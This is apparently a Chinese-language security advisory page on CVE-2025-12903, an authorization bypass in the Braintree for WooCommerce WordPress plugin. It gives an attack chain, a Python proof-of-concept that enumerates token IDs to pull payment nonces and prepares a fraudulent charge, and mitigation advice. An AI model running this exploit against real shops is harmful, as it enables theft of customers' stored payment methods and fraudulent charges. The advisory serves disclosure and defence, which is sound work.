IPBUF安全漏洞报告
English
CVE-2025-12903 CVSS 7.5 高危

CVE-2025-12903 WordPress Braintree插件未授权支付令牌获取漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-12903
漏洞类型
授权绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Payment Plugins Braintree For WooCommerce

相关标签

授权绕过WordPress插件Braintree支付漏洞REST APICVE-2025-12903高危漏洞

漏洞概述

CVE-2025-12903是WordPress插件Payment Plugins Braintree For WooCommerce中的一个严重安全漏洞。该漏洞存在于插件的REST API端点wc-braintree/v1/3ds/vaulted_nonce中,由于缺少权限检查且permission_callback被设置为__return_true,导致任何未认证的用户都可以调用此接口。攻击者可以利用此漏洞检索系统中任意存储的支付令牌对应的支付方法nonce,进而用于创建欺诈交易、扣款客户信用卡或将支付方式附加到其他订阅。此漏洞影响版本至3.2.78,CVSS评分7.5,属于高危级别。漏洞由Wordfence安全团队于2025年11月12日披露,建议用户立即升级到最新版本以修复此安全问题。

技术细节

该漏洞的根本原因在于WordPress REST API端点的权限控制配置不当。在插件的class-wc-braintree-controller-3ds.php文件中,vaulted_nonce端点使用__return_true作为permission_callback,这意味着所有请求都会被允许通过权限检查。攻击者只需构造一个包含有效token_id参数的HTTP请求即可获取任意支付方法的nonce值。由于该端点不验证用户身份和令牌所有权,攻击者可以枚举系统中的支付令牌ID并获取对应的敏感支付信息。获取的nonce可用于Braintree支付API创建新交易或附加支付方式到其他账户,实现对受害者资金的非法转移。漏洞影响所有使用该插件处理Braintree支付且存储了客户支付令牌的WordPress网站。

攻击链分析

STEP 1
步骤1
攻击者识别运行Payment Plugins Braintree For WooCommerce插件的WordPress网站
STEP 2
步骤2
攻击者访问wc-braintree/v1/3ds/vaulted_nonce REST API端点,该端点缺少权限验证
STEP 3
步骤3
攻击者通过暴力枚举或猜测token_id参数值,向端点发送未认证请求
STEP 4
步骤4
服务器返回对应支付令牌的nonce值,因为permission_callback被设置为__return_true
STEP 5
步骤5
攻击者获取nonce后,使用Braintree API创建欺诈性交易或附加支付方式到其他账户
STEP 6
步骤6
受害者信用卡被非法扣款,或支付方式被恶意附加到其他订阅

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12903 PoC - Unauthorized payment nonce retrieval # Target: WordPress site with Payment Plugins Braintree For WooCommerce < 3.2.79 TARGET_URL = "https://target-wordpress-site.com" API_ENDPOINT = "/wp-json/wc-braintree/v1/3ds/vaulted_nonce" def exploit_vulnerability(): """ Exploit authorization bypass in vaulted_nonce endpoint. Attackers can retrieve payment method nonces for any stored token ID. """ # Iterate through token IDs to retrieve payment nonces for token_id in range(1, 100): url = f"{TARGET_URL}{API_ENDPOINT}" params = {"token_id": str(token_id)} # No authentication required - permission_callback is __return_true response = requests.get(url, params=params) if response.status_code == 200: data = response.json() if "nonce" in data: print(f"[!] Found valid nonce for token_id {token_id}") print(f" Nonce: {data['nonce']}") print(f" This nonce can be used for fraudulent transactions") return data elif response.status_code == 404: continue print("[*] No valid nonces found in range") return None def create_fraudulent_transaction(nonce): """ Simulate fraudulent transaction creation using obtained nonce. In real attack, this would be sent to Braintree API. """ transaction_data = { "paymentMethodNonce": nonce, "amount": "99.99", "description": "Fraudulent charge" } print(f"[*] Fraudulent transaction data prepared: {json.dumps(transaction_data, indent=2)}") return transaction_data if __name__ == "__main__": print("[*] CVE-2025-12903 PoC - Braintree WooCommerce Authorization Bypass") print("[*] Target: Payment Plugins Braintree For WooCommerce < 3.2.79\n") result = exploit_vulnerability() if result: create_fraudulent_transaction(result.get("nonce"))

影响范围

Payment Plugins Braintree For WooCommerce < 3.2.79

防御指南

临时缓解措施
如果无法立即升级插件,可通过在Web服务器配置中添加rewrite规则临时阻止对/wc-braintree/v1/3ds/vaulted_nonce端点的访问,或使用WordPress插件如Wordfence添加自定义防火墙规则限制该端点的访问来源。同时建议启用双因素认证并审查所有具有管理员权限的WordPress用户账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表